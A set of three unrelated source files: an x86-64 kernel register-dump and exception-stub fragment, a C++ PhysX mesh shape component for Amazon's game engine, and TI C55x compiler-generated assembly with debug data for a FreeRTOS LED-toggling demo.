mov regs(56), r10
mov regs(64), r11
mov regs(72), r12
mov regs(80), r13
mov regs(88), r14
mov regs(96), r15
mov rax, QWORD [rsp + 32]
mov regs(104), rax
mov regs(112), rsi
mov regs(120), rdi
mov rax, QWORD [rsp + 8]
mov regs(128), rax
pushf
pop QWORD regs(136)
mov rax, cr0
mov regs(144), rax
mov QWORD regs(152), 0
mov rbx, cr2
mov regs(160), rbx
mov rcx, cr3
mov regs(168), rcx
mov rdx, cr4
mov regs(176), rdx
mov rax, cr8
mov regs(184), rax
ret
CPU_EXCEPT 0
CPU_EXCEPT 1
CPU_EXCEPT 2
CPU_EXCEPT 3
CPU_EXCEPT 4
CPU_EXCEPT 5
CPU_EXCEPT 6
CPU_EXCEPT 7
CPU_EXCEPT_CODE 8
CPU_EXCEPT 9
CPU_EXCEPT_CODE 10
CPU_EXCEPT_CODE 11
CPU_EXCEPT_CODE 12
CPU_EXCEPT_CODE 13
CPU_EXCEPT_CODE 14
CPU_EXCEPT 15
CPU_EXCEPT 16
CPU_EXCEPT_CODE 17
CPU_EXCEPT 18
CPU_EXCEPT 19
CPU_EXCEPT 20
CPU_EXCEPT_CODE 30
|
/*
* All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or
* its licensors.
*
* For complete copyright and license terms please see the LICENSE at the root of this
* distribution (the "License"). All use of this software is governed by the License,
* or, if provided, by the license below or the license accompanying this file. Do not
* remove or modify any license notices. This file is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
*/
#include <PhysX_precompiled.h>
#include <PhysXMeshShapeComponent.h>
#include <AzCore/Serialization/SerializeContext.h>
#include <AzCore/Serialization/EditContext.h>
namespace PhysX
{
void PhysXMeshShapeComponent::Reflect(AZ::ReflectContext* context)
{
if (auto serializeContext = azrtti_cast<AZ::SerializeContext*>(context))
{
serializeContext->Class<PhysXMeshShapeComponent, AZ::Component>()
->Version(1)
->Field("PxMesh", &PhysXMeshShapeComponent::m_meshColliderAsset)
;
if (AZ::EditContext* editContext = serializeContext->GetEditContext())
{
editContext->Class<PhysXMeshShapeComponent>(
"PhysX Mesh Shape", "Provides PhysX convex or triangular mesh shape")
->ClassElement(AZ::Edit::ClassElements::EditorData, "")
->Attribute(AZ::Edit::Attributes::Category, "PhysX")
->Attribute(AZ::Edit::Attributes::AppearsInAddComponentMenu, AZ_CRC("Game", 0x232b318c))
->DataElement(0, &PhysXMeshShapeComponent::m_meshColliderAsset, "PxMesh", "PhysX Mesh Collider asset")
;
}
}
}
void PhysXMeshShapeComponent::Activate()
{
m_currentTransform = AZ::Transform::CreateIdentity();
AZ::TransformBus::EventResult(m_currentTransform, GetEntityId(), &AZ::TransformBus::Events::GetWorldTM);
AZ::TransformNotificationBus::Handler::BusConnect(GetEntityId());
PhysXMeshShapeComponentRequestBus::Handler::BusConnect(GetEntityId());
LmbrCentral::ShapeComponentRequestsBus::Handler::BusConnect(GetEntityId());
}
void PhysXMeshShapeComponent::Deactivate()
{
LmbrCentral::ShapeComponentRequestsBus::Handler::BusDisconnect();
PhysXMeshShapeComponentRequestBus::Handler::BusDisconnect();
AZ::TransformNotificationBus::Handler::BusDisconnect();
}
void PhysXMeshShapeComponent::OnTransformChanged(const AZ::Transform& /*local*/, const AZ::Transform& world)
{
m_currentTransform = world;
LmbrCentral::ShapeComponentNotificationsBus::Event(GetEntityId(), &LmbrCentral::ShapeComponentNotificationsBus::Events::OnShapeChanged, LmbrCentral::ShapeComponentNotifications::ShapeChangeReasons::TransformChanged);
}
// Default implementation for the shape bus
AZ::Aabb PhysXMeshShapeComponent::GetEncompassingAabb()
{
AZ_Error("PhysX", false, "GetEncompassingAabb: Shape interface not implemented in PhysXMeshShapeComponent.");
return AZ::Aabb();
}
bool PhysXMeshShapeComponent::IsPointInside(const AZ::Vector3& point)
{
AZ_Error("PhysX", false, "IsPointInside: Shape interface not implemented in PhysXMeshShapeComponent.");
return false;
}
float PhysXMeshShapeComponent::DistanceSquaredFromPoint(const AZ::Vector3& point)
{
AZ_Error("PhysX", false, "DistanceSquaredFromPoint: Shape interface not implemented in PhysXMeshShapeComponent.");
return (m_currentTransform.GetPosition().GetDistanceSq(point));
}
} // namespace PhysX
|
;*******************************************************************************
;* TMS320C55x C/C++ Codegen PC v4.4.1 *
;* Date/Time created: Sat Oct 06 06:38:40 2018 *
;*******************************************************************************
.compiler_opts --hll_source=on --mem_model:code=flat --mem_model:data=large --object_format=coff --silicon_core_3_3 --symdebug:dwarf
.mmregs
.cpl_on
.arms_on
.c54cm_off
.asg AR6, FP
.asg XAR6, XFP
.asg DPH, MDP
.model call=c55_std
.model mem=large
.noremark 5002 ; code respects overwrite rules
;*******************************************************************************
;* GLOBAL FILE PARAMETERS *
;* *
;* Architecture : TMS320C55x *
;* Optimizing for : Speed *
;* Memory : Large Model (23-Bit Data Pointers) *
;* Calls : Normal Library ASM calls *
;* Debug Info : Standard TI Debug Information *
;*******************************************************************************
$C$DW$CU .dwtag DW_TAG_compile_unit
.dwattr $C$DW$CU, DW_AT_name("../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c")
.dwattr $C$DW$CU, DW_AT_producer("TMS320C55x C/C++ Codegen PC v4.4.1 Copyright (c) 1996-2012 Texas Instruments Incorporated")
.dwattr $C$DW$CU, DW_AT_TI_version(0x01)
.dwattr $C$DW$CU, DW_AT_comp_dir("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug")
;******************************************************************************
;* CINIT RECORDS *
;******************************************************************************
.sect ".cinit"
.align 1
.field 2,16
.field _led_tsk_ctr+0,24
.field 0,8
.field 0,32 ; _led_tsk_ctr @ 0
.sect ".cinit"
.align 1
.field 1,16
.field _flag$1+0,24
.field 0,8
.field 0,16 ; _flag$1 @ 0
.sect ".cinit"
.align 1
.field 1,16
.field _sState$2+0,24
.field 0,8
.field 0,16 ; _sState$2 @ 0
$C$DW$1 .dwtag DW_TAG_subprogram, DW_AT_name("EZDSP5535_LED_on")
.dwattr $C$DW$1, DW_AT_TI_symbol_name("_EZDSP5535_LED_on")
.dwattr $C$DW$1, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$1, DW_AT_declaration
.dwattr $C$DW$1, DW_AT_external
$C$DW$2 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$2, DW_AT_type(*$C$DW$T$26)
.dwendtag $C$DW$1
$C$DW$3 .dwtag DW_TAG_subprogram, DW_AT_name("EZDSP5535_LED_off")
.dwattr $C$DW$3, DW_AT_TI_symbol_name("_EZDSP5535_LED_off")
.dwattr $C$DW$3, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$3, DW_AT_declaration
.dwattr $C$DW$3, DW_AT_external
$C$DW$4 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$4, DW_AT_type(*$C$DW$T$26)
.dwendtag $C$DW$3
$C$DW$5 .dwtag DW_TAG_subprogram, DW_AT_name("EZDSP5535_XF_toggle")
.dwattr $C$DW$5, DW_AT_TI_symbol_name("_EZDSP5535_XF_toggle")
.dwattr $C$DW$5, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$5, DW_AT_declaration
.dwattr $C$DW$5, DW_AT_external
.global _led_tsk_ctr
.bss _led_tsk_ctr,2,0,2
$C$DW$6 .dwtag DW_TAG_variable, DW_AT_name("led_tsk_ctr")
.dwattr $C$DW$6, DW_AT_TI_symbol_name("_led_tsk_ctr")
.dwattr $C$DW$6, DW_AT_location[DW_OP_addr _led_tsk_ctr]
.dwattr $C$DW$6, DW_AT_type(*$C$DW$T$13)
.dwattr $C$DW$6, DW_AT_external
.bss _flag$1,1,0,0
.bss _sState$2,1,0,0
; F:\t\cc5p5\ccsv5\tools\compiler\c5500_4.4.1\bin\acp55.exe -@f:\\AppData\\Local\\Temp\\1078812
.sect ".text"
.align 4
.global _vParTestInitialise
$C$DW$7 .dwtag DW_TAG_subprogram, DW_AT_name("vParTestInitialise")
.dwattr $C$DW$7, DW_AT_low_pc(_vParTestInitialise)
.dwattr $C$DW$7, DW_AT_high_pc(0x00)
.dwattr $C$DW$7, DW_AT_TI_symbol_name("_vParTestInitialise")
.dwattr $C$DW$7, DW_AT_external
.dwattr $C$DW$7, DW_AT_TI_begin_file("../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c")
.dwattr $C$DW$7, DW_AT_TI_begin_line(0x7a)
.dwattr $C$DW$7, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$7, DW_AT_TI_max_frame_size(0x01)
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 123,column 1,is_stmt,address _vParTestInitialise
.dwfde $C$DW$CIE, _vParTestInitialise
;*******************************************************************************
;* FUNCTION NAME: vParTestInitialise *
;* *
;* Function Uses Regs : SP,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 1 word *
;* (1 return address/alignment) *
;* Min System Stack : 1 word *
;*******************************************************************************
_vParTestInitialise:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 163,column 1,is_stmt
$C$DW$8 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$8, DW_AT_low_pc(0x00)
.dwattr $C$DW$8, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$7, DW_AT_TI_end_file("../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c")
.dwattr $C$DW$7, DW_AT_TI_end_line(0xa3)
.dwattr $C$DW$7, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$7
.sect ".text"
.align 4
.global _vParTestSetLED
$C$DW$9 .dwtag DW_TAG_subprogram, DW_AT_name("vParTestSetLED")
.dwattr $C$DW$9, DW_AT_low_pc(_vParTestSetLED)
.dwattr $C$DW$9, DW_AT_high_pc(0x00)
.dwattr $C$DW$9, DW_AT_TI_symbol_name("_vParTestSetLED")
.dwattr $C$DW$9, DW_AT_external
.dwattr $C$DW$9, DW_AT_TI_begin_file("../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c")
.dwattr $C$DW$9, DW_AT_TI_begin_line(0xa6)
.dwattr $C$DW$9, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$9, DW_AT_TI_max_frame_size(0x04)
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 167,column 1,is_stmt,address _vParTestSetLED
.dwfde $C$DW$CIE, _vParTestSetLED
$C$DW$10 .dwtag DW_TAG_formal_parameter, DW_AT_name("uxLED")
.dwattr $C$DW$10, DW_AT_TI_symbol_name("_uxLED")
.dwattr $C$DW$10, DW_AT_type(*$C$DW$T$21)
.dwattr $C$DW$10, DW_AT_location[DW_OP_reg12]
$C$DW$11 .dwtag DW_TAG_formal_parameter, DW_AT_name("xValue")
.dwattr $C$DW$11, DW_AT_TI_symbol_name("_xValue")
.dwattr $C$DW$11, DW_AT_type(*$C$DW$T$22)
.dwattr $C$DW$11, DW_AT_location[DW_OP_reg13]
;*******************************************************************************
;* FUNCTION NAME: vParTestSetLED *
;* *
;* Function Uses Regs : T0,T1,AR1,AR2,SP,TC1,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 4 words *
;* (2 return address/alignment) *
;* (2 local values) *
;* Min System Stack : 1 word *
;*******************************************************************************
_vParTestSetLED:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
AADD #-3, SP
.dwcfi cfa_offset, 4
$C$DW$12 .dwtag DW_TAG_variable, DW_AT_name("uxLED")
.dwattr $C$DW$12, DW_AT_TI_symbol_name("_uxLED")
.dwattr $C$DW$12, DW_AT_type(*$C$DW$T$21)
.dwattr $C$DW$12, DW_AT_location[DW_OP_bregx 0x24 0]
$C$DW$13 .dwtag DW_TAG_variable, DW_AT_name("xValue")
.dwattr $C$DW$13, DW_AT_TI_symbol_name("_xValue")
.dwattr $C$DW$13, DW_AT_type(*$C$DW$T$22)
.dwattr $C$DW$13, DW_AT_location[DW_OP_bregx 0x24 1]
MOV T1, *SP(#1) ; |167|
MOV T0, *SP(#0) ; |167|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 169,column 2,is_stmt
MOV T0, AR1
|| MOV #5, AR2
CMPU AR1 >= AR2, TC1 ; |169|
BCC $C$L1,TC1 ; |169|
; branchcc occurs ; |169|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 173,column 4,is_stmt
MOV *SP(#1), AR1 ; |173|
BCC $C$L1,AR1 != #0 ; |173|
; branchcc occurs ; |173|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 178,column 4,is_stmt
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 188,column 1,is_stmt
$C$L1:
AADD #3, SP
.dwcfi cfa_offset, 1
$C$DW$14 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$14, DW_AT_low_pc(0x00)
.dwattr $C$DW$14, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$9, DW_AT_TI_end_file("../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c")
.dwattr $C$DW$9, DW_AT_TI_end_line(0xbc)
.dwattr $C$DW$9, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$9
.sect ".text"
.align 4
.global _vParTestToggleLED
$C$DW$15 .dwtag DW_TAG_subprogram, DW_AT_name("vParTestToggleLED")
.dwattr $C$DW$15, DW_AT_low_pc(_vParTestToggleLED)
.dwattr $C$DW$15, DW_AT_high_pc(0x00)
.dwattr $C$DW$15, DW_AT_TI_symbol_name("_vParTestToggleLED")
.dwattr $C$DW$15, DW_AT_external
.dwattr $C$DW$15, DW_AT_TI_begin_file("../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c")
.dwattr $C$DW$15, DW_AT_TI_begin_line(0xbf)
.dwattr $C$DW$15, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$15, DW_AT_TI_max_frame_size(0x02)
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 192,column 1,is_stmt,address _vParTestToggleLED
.dwfde $C$DW$CIE, _vParTestToggleLED
$C$DW$16 .dwtag DW_TAG_variable, DW_AT_name("flag")
.dwattr $C$DW$16, DW_AT_TI_symbol_name("_flag$1")
.dwattr $C$DW$16, DW_AT_type(*$C$DW$T$8)
.dwattr $C$DW$16, DW_AT_location[DW_OP_addr _flag$1]
$C$DW$17 .dwtag DW_TAG_formal_parameter, DW_AT_name("uxLED")
.dwattr $C$DW$17, DW_AT_TI_symbol_name("_uxLED")
.dwattr $C$DW$17, DW_AT_type(*$C$DW$T$21)
.dwattr $C$DW$17, DW_AT_location[DW_OP_reg12]
;*******************************************************************************
;* FUNCTION NAME: vParTestToggleLED *
;* *
;* Function Uses Regs : AC0,AC0,T0,AR1,AR2,SP,CARRY,TC1,M40,SATA,SATD,RDM, *
;* FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 2 words *
;* (1 return address/alignment) *
;* (1 local values) *
;* Min System Stack : 1 word *
;*******************************************************************************
_vParTestToggleLED:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
AADD #-1, SP
.dwcfi cfa_offset, 2
$C$DW$18 .dwtag DW_TAG_variable, DW_AT_name("uxLED")
.dwattr $C$DW$18, DW_AT_TI_symbol_name("_uxLED")
.dwattr $C$DW$18, DW_AT_type(*$C$DW$T$21)
.dwattr $C$DW$18, DW_AT_location[DW_OP_bregx 0x24 0]
MOV T0, *SP(#0) ; |192|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 194,column 2,is_stmt
MOV T0, AR1
|| MOV #5, AR2
CMPU AR1 >= AR2, TC1 ; |194|
BCC $C$L3,TC1 ; |194|
; branchcc occurs ; |194|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 200,column 4,is_stmt
MOV *(#_flag$1), AR1 ; |200|
BCC $C$L2,AR1 != #0 ; |200|
; branchcc occurs ; |200|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 202,column 5,is_stmt
$C$DW$19 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$19, DW_AT_low_pc(0x00)
.dwattr $C$DW$19, DW_AT_name("_EZDSP5535_LED_off")
.dwattr $C$DW$19, DW_AT_TI_call
CALL #_EZDSP5535_LED_off ; |202|
; call occurs [#_EZDSP5535_LED_off] ; |202|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 203,column 5,is_stmt
MOV #1, *(#_flag$1) ; |203|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 204,column 4,is_stmt
B $C$L4 ; |204|
; branch occurs ; |204|
$C$L2:
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 207,column 5,is_stmt
$C$DW$20 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$20, DW_AT_low_pc(0x00)
.dwattr $C$DW$20, DW_AT_name("_EZDSP5535_LED_on")
.dwattr $C$DW$20, DW_AT_TI_call
CALL #_EZDSP5535_LED_on ; |207|
; call occurs [#_EZDSP5535_LED_on] ; |207|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 208,column 5,is_stmt
MOV #0, *(#_flag$1) ; |208|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 214,column 2,is_stmt
B $C$L4 ; |214|
; branch occurs ; |214|
$C$L3:
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 217,column 3,is_stmt
CMP *SP(#0) == #5, TC1 ; |217|
BCC $C$L4,!TC1 ; |217|
; branchcc occurs ; |217|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 220,column 4,is_stmt
$C$DW$21 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$21, DW_AT_low_pc(0x00)
.dwattr $C$DW$21, DW_AT_name("_prvToggleOnBoardLED")
.dwattr $C$DW$21, DW_AT_TI_call
CALL #_prvToggleOnBoardLED ; |220|
; call occurs [#_prvToggleOnBoardLED] ; |220|
$C$L4:
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 223,column 2,is_stmt
MOV dbl(*(#_led_tsk_ctr)), AC0 ; |223|
ADD #1, AC0 ; |223|
MOV AC0, dbl(*(#_led_tsk_ctr)) ; |223|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 224,column 1,is_stmt
AADD #1, SP
.dwcfi cfa_offset, 1
$C$DW$22 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$22, DW_AT_low_pc(0x00)
.dwattr $C$DW$22, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$15, DW_AT_TI_end_file("../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c")
.dwattr $C$DW$15, DW_AT_TI_end_line(0xe0)
.dwattr $C$DW$15, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$15
.sect ".text"
.align 4
$C$DW$23 .dwtag DW_TAG_subprogram, DW_AT_name("prvToggleOnBoardLED")
.dwattr $C$DW$23, DW_AT_low_pc(_prvToggleOnBoardLED)
.dwattr $C$DW$23, DW_AT_high_pc(0x00)
.dwattr $C$DW$23, DW_AT_TI_symbol_name("_prvToggleOnBoardLED")
.dwattr $C$DW$23, DW_AT_TI_begin_file("../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c")
.dwattr $C$DW$23, DW_AT_TI_begin_line(0xe3)
.dwattr $C$DW$23, DW_AT_TI_begin_column(0x0d)
.dwattr $C$DW$23, DW_AT_TI_max_frame_size(0x02)
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 228,column 1,is_stmt,address _prvToggleOnBoardLED
.dwfde $C$DW$CIE, _prvToggleOnBoardLED
$C$DW$24 .dwtag DW_TAG_variable, DW_AT_name("sState")
.dwattr $C$DW$24, DW_AT_TI_symbol_name("_sState$2")
.dwattr $C$DW$24, DW_AT_type(*$C$DW$T$9)
.dwattr $C$DW$24, DW_AT_location[DW_OP_addr _sState$2]
;*******************************************************************************
;* FUNCTION NAME: prvToggleOnBoardLED *
;* *
;* Function Uses Regs : AR1,AR2,AR3,SP,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 2 words *
;* (2 return address/alignment) *
;* Min System Stack : 1 word *
;*******************************************************************************
_prvToggleOnBoardLED:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
AADD #-1, SP
.dwcfi cfa_offset, 2
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 232,column 2,is_stmt
MOV *(#_sState$2), AR1 ; |232|
BCC $C$L5,AR1 == #0 ; |232|
; branchcc occurs ; |232|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 236,column 2,is_stmt
$C$DW$25 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$25, DW_AT_low_pc(0x00)
.dwattr $C$DW$25, DW_AT_name("_toggleLED")
.dwattr $C$DW$25, DW_AT_TI_call
CALL #_toggleLED ; |236|
; call occurs [#_toggleLED] ; |236|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 237,column 2,is_stmt
B $C$L6 ; |237|
; branch occurs ; |237|
$C$L5:
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 242,column 2,is_stmt
$C$DW$26 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$26, DW_AT_low_pc(0x00)
.dwattr $C$DW$26, DW_AT_name("_toggleLED")
.dwattr $C$DW$26, DW_AT_TI_call
CALL #_toggleLED ; |242|
; call occurs [#_toggleLED] ; |242|
$C$L6:
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 245,column 2,is_stmt
MOV *(#_sState$2), AR2 ; |245|
MOV #0, AR1
BCC $C$L7,AR2 == #0 ; |245|
|| MOV #0, AR3
; branchcc occurs ; |245|
MOV #1, AR1
$C$L7:
BCC $C$L8,AR1 != #0 ; |245|
; branchcc occurs ; |245|
MOV #1, AR3
$C$L8:
MOV AR3, *(#_sState$2) ; |245|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 249,column 1,is_stmt
AADD #1, SP
.dwcfi cfa_offset, 1
$C$DW$27 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$27, DW_AT_low_pc(0x00)
.dwattr $C$DW$27, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$23, DW_AT_TI_end_file("../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c")
.dwattr $C$DW$23, DW_AT_TI_end_line(0xf9)
.dwattr $C$DW$23, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$23
.sect ".text"
.align 4
$C$DW$28 .dwtag DW_TAG_subprogram, DW_AT_name("toggleLED")
.dwattr $C$DW$28, DW_AT_low_pc(_toggleLED)
.dwattr $C$DW$28, DW_AT_high_pc(0x00)
.dwattr $C$DW$28, DW_AT_TI_symbol_name("_toggleLED")
.dwattr $C$DW$28, DW_AT_TI_begin_file("../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c")
.dwattr $C$DW$28, DW_AT_TI_begin_line(0xfc)
.dwattr $C$DW$28, DW_AT_TI_begin_column(0x0d)
.dwattr $C$DW$28, DW_AT_TI_max_frame_size(0x02)
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 253,column 1,is_stmt,address _toggleLED
.dwfde $C$DW$CIE, _toggleLED
;*******************************************************************************
;* FUNCTION NAME: toggleLED *
;* *
;* Function Uses Regs : SP,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 2 words *
;* (2 return address/alignment) *
;* Min System Stack : 1 word *
;*******************************************************************************
_toggleLED:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
AADD #-1, SP
.dwcfi cfa_offset, 2
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 257,column 2,is_stmt
$C$DW$29 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$29, DW_AT_low_pc(0x00)
.dwattr $C$DW$29, DW_AT_name("_EZDSP5535_XF_toggle")
.dwattr $C$DW$29, DW_AT_TI_call
CALL #_EZDSP5535_XF_toggle ; |257|
; call occurs [#_EZDSP5535_XF_toggle] ; |257|
.dwpsn file "../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c",line 277,column 1,is_stmt
AADD #1, SP
.dwcfi cfa_offset, 1
$C$DW$30 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$30, DW_AT_low_pc(0x00)
.dwattr $C$DW$30, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$28, DW_AT_TI_end_file("../FreeRTOS/Demo/c5515_CCS/ParTest/ParTest.c")
.dwattr $C$DW$28, DW_AT_TI_end_line(0x115)
.dwattr $C$DW$28, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$28
;******************************************************************************
;* UNDEFINED EXTERNAL REFERENCES *
;******************************************************************************
.global _EZDSP5535_LED_on
.global _EZDSP5535_LED_off
.global _EZDSP5535_XF_toggle
;*******************************************************************************
;* TYPE INFORMATION *
;*******************************************************************************
$C$DW$T$4 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$4, DW_AT_encoding(DW_ATE_boolean)
.dwattr $C$DW$T$4, DW_AT_name("bool")
.dwattr $C$DW$T$4, DW_AT_byte_size(0x01)
$C$DW$T$5 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$5, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$5, DW_AT_name("signed char")
.dwattr $C$DW$T$5, DW_AT_byte_size(0x01)
$C$DW$T$6 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$6, DW_AT_encoding(DW_ATE_unsigned_char)
.dwattr $C$DW$T$6, DW_AT_name("unsigned char")
.dwattr $C$DW$T$6, DW_AT_byte_size(0x01)
$C$DW$T$7 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$7, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$7, DW_AT_name("wchar_t")
.dwattr $C$DW$T$7, DW_AT_byte_size(0x01)
$C$DW$T$8 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$8, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$8, DW_AT_name("short")
.dwattr $C$DW$T$8, DW_AT_byte_size(0x01)
$C$DW$T$22 .dwtag DW_TAG_typedef, DW_AT_name("BaseType_t")
.dwattr $C$DW$T$22, DW_AT_type(*$C$DW$T$8)
.dwattr $C$DW$T$22, DW_AT_language(DW_LANG_C)
$C$DW$T$25 .dwtag DW_TAG_typedef, DW_AT_name("Int16")
.dwattr $C$DW$T$25, DW_AT_type(*$C$DW$T$8)
.dwattr $C$DW$T$25, DW_AT_language(DW_LANG_C)
$C$DW$T$9 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$9, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$9, DW_AT_name("unsigned short")
.dwattr $C$DW$T$9, DW_AT_byte_size(0x01)
$C$DW$T$21 .dwtag DW_TAG_typedef, DW_AT_name("UBaseType_t")
.dwattr $C$DW$T$21, DW_AT_type(*$C$DW$T$9)
.dwattr $C$DW$T$21, DW_AT_language(DW_LANG_C)
$C$DW$T$26 .dwtag DW_TAG_typedef, DW_AT_name("Uint16")
.dwattr $C$DW$T$26, DW_AT_type(*$C$DW$T$9)
.dwattr $C$DW$T$26, DW_AT_language(DW_LANG_C)
$C$DW$T$10 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$10, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$10, DW_AT_name("int")
.dwattr $C$DW$T$10, DW_AT_byte_size(0x01)
$C$DW$T$11 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$11, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$11, DW_AT_name("unsigned int")
.dwattr $C$DW$T$11, DW_AT_byte_size(0x01)
$C$DW$T$12 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$12, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$12, DW_AT_name("long")
.dwattr $C$DW$T$12, DW_AT_byte_size(0x02)
$C$DW$T$13 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$13, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$13, DW_AT_name("unsigned long")
.dwattr $C$DW$T$13, DW_AT_byte_size(0x02)
$C$DW$T$14 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$14, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$14, DW_AT_name("long long")
.dwattr $C$DW$T$14, DW_AT_byte_size(0x04)
.dwattr $C$DW$T$14, DW_AT_bit_size(0x28)
.dwattr $C$DW$T$14, DW_AT_bit_offset(0x18)
$C$DW$T$15 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$15, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$15, DW_AT_name("unsigned long long")
